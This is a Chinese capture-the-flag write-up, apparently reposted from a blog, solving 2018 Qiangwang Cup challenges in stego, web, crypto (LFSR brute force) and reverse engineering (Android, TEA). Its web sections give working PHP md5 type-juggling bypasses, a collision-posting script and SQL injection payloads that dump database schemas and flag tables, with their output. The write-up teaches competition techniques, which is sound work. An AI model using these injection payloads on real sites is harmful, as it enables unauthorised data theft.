第二届“强网杯”全国网络安全挑战赛线上赛 WriteUp

admin 2021年9月15日09:32:26评论141 views字数 8782阅读29分16秒阅读模式

比赛入口地址:https://race.ichunqiu.com/2018qwb

这次线上比赛企业高校混赛,企业很多(听说是被要求参赛的)

总共 2600+ 支队伍报名,其中 2300+ 支队伍签到,粗略估计 10000+ 人参赛

第一次看到这么多人参赛,奖金丰厚是主要原因

高分段都是神仙混打,我此等菜鸡只能摸摸鱼

总共放出 36 题,我们只做出 10 题,排名第 68 名

PWN 类题目居多,而且分数很高,得 PWN 者得天下。可我是 PWN 残 emmm...

签到

复制粘贴,成功签到

flag{welcome_to_qwb}

Misc - welcome

Stegsolve.jar -> Stereogram Solver -> Offset: 80

Flag: QWB{W3lc0me}

Web - web签到

The Fisrt Easy Md5 Challenge

if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])==md5($_POST['param2'])){
    die("success!");
}

md5('240610708') == md5('QNKCDZO')

POST Data: param1[]=1&param2[]=

The Second Easy Md5 Challenge

if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
    die("success!");
}

POST Data: param1[]=1&param2[]=2

POST Data: param1[]=1&param2[]=

Md5 Revenge Now!

if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
    die("success!);
}
param1 == Array();
(string)$_POST['param1'] == 'Array';
md5($_POST['param1']) == false:

一把梭

import requests
import binascii

f1 = '4D C9 68 FF 0E E3 5C 20 95 72 D4 77 7B 72 15 87 D3 6F A7 B2 1B DC 56 B7 4A 3D C0 78 3E 7B 95 18 AF BF A2 00 A8 28 4B F3 6E 8E 4B 55 B3 5F 42 75 93 D8 49 67 6D A0 D1 55 5D 83 60 FB 5F 07 FE A2'
f2 = '4D C9 68 FF 0E E3 5C 20 95 72 D4 77 7B 72 15 87 D3 6F A7 B2 1B DC 56 B7 4A 3D C0 78 3E 7B 95 18 AF BF A2 02 A8 28 4B F3 6E 8E 4B 55 B3 5F 42 75 93 D8 49 67 6D A0 D1 D5 5D 83 60 FB 5F 07 FE A2'
f1 = binascii.unhexlify(''.join([str(x) for x in f1.split(' ')]))
f2 = binascii.unhexlify(''.join([str(x) for x in f2.split(' ')]))

r = requests.session()
r.post('http://39.107.33.96:10000/', data={'param1':f1, 'param2':f2}).text
r.post('http://39.107.33.96:10000/', data={'param1':f1, 'param2':f2}).text
r.post('http://39.107.33.96:10000/', data={'param1':f1, 'param2':f2}).text
'success! flag is QWB{s1gns1gns1gnaftermd5}'

Flag: QWB{s1gns1gns1gnaftermd5}

Web - Python is the best language 1

注册帐号后,在首页 Say something 中依次下列的 SQL 代码,提交,然后刷新一下 Explore 页面,找到这个 ID 为 2 的用户,关注他。

然后就可以在自己的首页上找到我们注入的结果。

先闭合前面的语句,然后再插入一条新的语句,就可以带入我们想要得到的信息。

从代码审计中可以知道数据库的结构以及其他参数应该提供什么。

bandw',2,'2018-03-25'),(NULL,concat(user(),0x3f,database(),0x3f,version()),2,'2018-03-25'); --
QWB@localhost?flask?5.5.51-log

bandw',2,'2018-03-20'),(NULL,concat((select schema_name from information_schema.schemata limit 1,1),0x3e),2,'2018-03-20'); --
flask>

bandw',2,'2018-03-20'),(NULL,concat((select schema_name from information_schema.schemata limit 0,1),0x3e),2,'2018-03-20'); --
information_schema>

bandw',2,'2018-03-20'),(NULL,concat((select schema_name from information_schema.schemata limit 2,1),0x3e),2,'2018-03-20'); --
test>

bandw',2,'2018-03-20'),(NULL,concat((select schema_name from information_schema.schemata limit 3,1),0x3e),2,'2018-03-20'); --
None>

bandw',2,'2018-03-20'),(NULL,concat((select table_name from information_schema.tables where table_schema=0x666c61736b limit 1),0x3e),2,'2018-03-20'); --
flaaaaag>

bandw',2,'2018-03-20'),(NULL,concat((select column_name from information_schema.columns where table_name=0x666c616161616167 and table_schema=0x666c61736b limit 0,1),0x3e),2,'2018-03-20'); --
flllllag>

bandw',2,'2018-03-20'),(NULL,concat((select flllllag from flaaaaag),0x3e),2,'2018-03-20'); --
QWB{us1ng_val1dator_caut1ous}>

Flag: QWB{us1ng_val1dator_caut1ous}

Web - Three hit

这题交互的地方不多,只有注册、登录以及查看谁和我同年龄。

首先关注的是注册,用户名限定了 [a-zA-Z0-9] ,密码的话通过登录之后的返回结果可以看出来已经是经过了 MD5 了,也不可用,剩下的就是年龄。

经过测试可以通过插入十六进制数来绕过只能输入数字的效果。

因此依次先对下列的注入代码转换成十六进制,然后放到年龄那里提交,然后登录查看谁和我同龄,就可以得到数据库中的结果。

1 and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version())#
2

1 and 1=2 union select 1,concat_ws(char(32,58,32),0x7c,user(),database(),version()),3,4#
| : qwb@localhost : qwb : 5.5.52-0ubuntu0.14.04.1

1 and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 0,1#
information_schema

1 and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1#
qwb

hex(qwb) = 717762

1 and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=0x717762 limit 0,1#
flag

hex(flag) = 666c6167

1 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=0x717762 and table_name=0x666c6167 limit 0,1#
flag

1 and 1=2 union select 1,flag,3,4 from flag#
QWB{M0b4iDalao0rz0rz}

Flag: QWB{M0b4iDalao0rz0rz}

Crypto - streamgame1

流密码,用到LFSR,之前了解过,不是很懂,只会写个脚本爆破

def lfsr(R,mask):
    output = (R << 1) & 0xffffff
    i=(R&mask)&0xffffff
    lastbit=0
    while i!=0:
        lastbit^=(i&1)
        i=i>>1
    output^=lastbit
    return (output,lastbit)

mask    =   0b1010011000100011100

key=open("key","rb").read()
for t in range(pow(2,19)):
    R=t
    get=0
    for i in range(12):
        tmp=0
        for j in range(8):
            (R,out)=lfsr(R,mask)
            tmp=(tmp << 1)^out
        if chr(tmp) != key[i]: break
        if i == 11: get = 1
    if get == 1:
        print "flag{%19d}" % int(bin(t)[2:])
        break

flag{1110101100001101011}

Crypto - streamgame2

方法同1,附上爆破脚本

def lfsr(R,mask):
    output = (R << 1) & 0xffffff
    i=(R&mask)&0xffffff
    lastbit=0
    while i!=0:
        lastbit^=(i&1)
        i=i>>1
    output^=lastbit
    return (output,lastbit)

mask=0x100002

key=open("key","rb").read()
for t in range(pow(2,21)):
    R=t
    get=0
    for i in range(12):
        tmp=0
        for j in range(8):
            (R,out)=lfsr(R,mask)
            tmp=(tmp << 1)^out
        if chr(tmp) != key[i]: break
        if i == 11: get = 1
    if get == 1:
        print "flag{%21d}" % int(bin(t)[2:])
        break

flag{110111100101001101001}

Crypto - streamgame4

这题也可以爆破,只不过要几个小时才出结果,建议多线程或者多开。

def nlfsr(R,mask):
    output = (R << 1) & 0xffffff
    i=(R&mask)&0xffffff
    lastbit=0
    changesign=True
    while i!=0:
        if changesign:
            lastbit &= (i & 1)
            changesign=False
        else:
            lastbit^=(i&1)
        i=i>>1
    output^=lastbit
    return (output,lastbit)

mask=0b110110011011001101110

key=open("key","rb").read()
for t in range(0, pow(2,21)):
    if t % 500 == 0: print "%d / %d" % (t, pow(2,21))
    R=t
    get=0
    for i in range(1024*1024):
        tmp=0
        for j in range(8):
            (R,out)=nlfsr(R,mask)
            tmp=(tmp << 1)^out
        if chr(tmp) != key[i]: break
        if i == 11: get = 1
    if get == 1:
        print "flag{%21d}" % int(bin(t)[2:])
        break

flag{100100111010101101011}

Reverse - simplecheck

安卓题,不难。反编译 classes.dex 看源码

关键点 com.a.simplecheck.a 分析一波

拿起 py 就是干

a = [0, 146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818, 559010506, 449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524, 417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 210058699, 198137551, 360748557, 440064477, 319861317, 676258995, 389214123, 829768461, 534844356, 427514172, 864054312]
b = [13710, 46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932, 37997, 22069, 8438, 33995, 53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968, 45654, 51972, 64956, 45293, 64752, 37108]
c = [38129, 57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762, 59215, 16407, 64340, 37644, 59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879, 14436, 60468, 19926, 47198, 8406, 64666]
d = [0, -341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406, 540422378, -107286502, -128056922, 265261633, 275964257, 119059597, 202392013, 283676377, 126284124, -68971076, 261217574, 197555158, -12893337, -10293675, 93868075, 121661845, 167461231, 123220255, 221507, 258914772, 180963987, 107841171, 41609001, 276531381, 169983906, 276158562]

s = [0] * 35

for i in range(34):
    for j in range(256):
        s[i+1] = j
        if a[i] == b[i] * s[i] * s[i] + c[i] * s[i] + d[i]:
            if a[i+1] == b[i] * s[i+1] * s[i+1] + c[i] * s[i+1] + d[i]:
                break
print s

r = ''
for i in s:
    r += chr(i)
print r

flag{MAth_i&_GOOd_DON7_90V_7hInK?}

Reverse - babyre

查壳,没壳,64位。上IDA 64

直接运行显示 nope

查找 strings,找到 nope 和 nothing 两个可能有关系的字符串,分别在 sub_1400059A0+147 和 sub_1400050B0+29 的位置用到

继续分析下去,nothing 是 文件名,程序打开 nothing 文件,读取文件内容。

根据题目给出的加密内容,猜测这个是加密程序。那么测试一下,随便新建一个 nothing 文件,输入一些内容,运行程序,没有显示 nope。

再打开 nothing 文件,发现文件内容被加密,改变内容长度,多尝试几遍可以发现,这是一个 8 字节的分组加密,每组加密之间没有联系,末尾不足 8 字节不做加密。

回到 IDA 跟下去,分析 nope 所在函数是被什么函数调用,注意到 sub_140003A80 函数,里面调用到打开 nothing 文件的函数,判断能否读取到文件内容。如果不能调用显示 nope,如果可以进行加密,并写回到文件里。

往下看,看到一个奇怪的数字 0x9E3779B9 (1640531527),网上查了下,有点像 TEA 加密算法。根据 F5 伪C代码,找出加密算法关键代码和加密密钥,写个解密脚本解密。注意大小端转换。

import base64

dword_7FF62599CDA8 = [0xFACE, 0xDEAD, 0xBABE, 0xD00D]

### C+ij1vcZGUwSQgBUPUG7FuVqh+zQ6/piPc5hHg7JEe1odD99
### 0be8a3d6 f719194c 12420054 3d41bb16 e56a87ec d0ebfa62 3dce611e 0ec911ed
### ht?} 68743f7d
### 63627771 747b6674 5f736968 6e5f7369 745f746f 5f746168 64726168 6769725f
### 7177626374667b746869735f69735f6e6f745f746861745f686172645f72696768743f7d
### qwbctf{this_is_not_that_hard_right?}

enc = base64.b64decode('C+ij1vcZGUwSQgBUPUG7FuVqh+zQ6/piPc5hHg7JEe1odD99').encode('hex')
enc_pairs = []
for i in range(len(enc)/16):
    p1 = enc[i*16 : i*16+8]
    p2 = enc[i*16+8 : i*16+8+8]
    enc_pairs.append([p1, p2])

dec_raw = enc.decode('hex')[-(len(enc)%16)/2:]

def decrypt(enc_pair, key):
    v13 = enc_pair[0]
    v14 = enc_pair[1]
    v15 = 0
    v16 = 0

    for i in range(32):
        v15 -= 1640531527
        v15 &= 0xffffffff
        v16 = v15

    for i in range(32):
        v14 -= (v15 + key[(v15 >> 11) & 3]) ^ (v13 + (16 * v13 ^ (v13 >> 5)))
        v14 &= 0xffffffff

        v15 += 1640531527
        v15 &= 0xffffffff

        v16 = v15

        v13 -= (v15 + key[v16 & 3]) ^ (v14 + (16 * v14 ^ (v14 >> 5)))
        v13 &= 0xffffffff

    return [v13, v14]

def convert(_int):
    ret = hex(_int)[2::]
    if ret[-1:] == 'L': ret = ret[:-1]
    if len(ret) % 2 == 1: ret = '0' + ret
    ret = ret.decode('hex')[::-1].encode('hex')
    return int(ret, 16)

dec = ''

for i in enc_pairs:
    enc_pair = []
    enc_pair.append(convert(int(i[0], 16)))
    enc_pair.append(convert(int(i[1], 16)))
    dec_pair = decrypt(enc_pair, dword_7FF62599CDA8)
    dec_pair[0] = hex(convert(dec_pair[0]))[2:].decode('hex')
    dec_pair[1] = hex(convert(dec_pair[1]))[2:].decode('hex')
    dec += dec_pair[0]
    dec += dec_pair[1]

dec += dec_raw

print dec

qwbctf{this_is_not_that_hard_right?}

Source: impakho.com | Author:impakho

相关推荐: Linux下的C语言pow()函数引出的问题

今天才Linux下用math.h库的pow()函数,gcc编译的时候报错返回:对‘pow’未定义的引用查了下资料,需要在gcc编译的时候加上-lm参数才能正常编译。这是为什么呢?再查了下资料: 使用math.h中声明的库函数还有一点特殊之处,gcc命令行必须加…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月15日09:32:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第二届“强网杯”全国网络安全挑战赛线上赛 WriteUphttps://cn-sec.com/archives/543576.html

发表评论

匿名网友 填写信息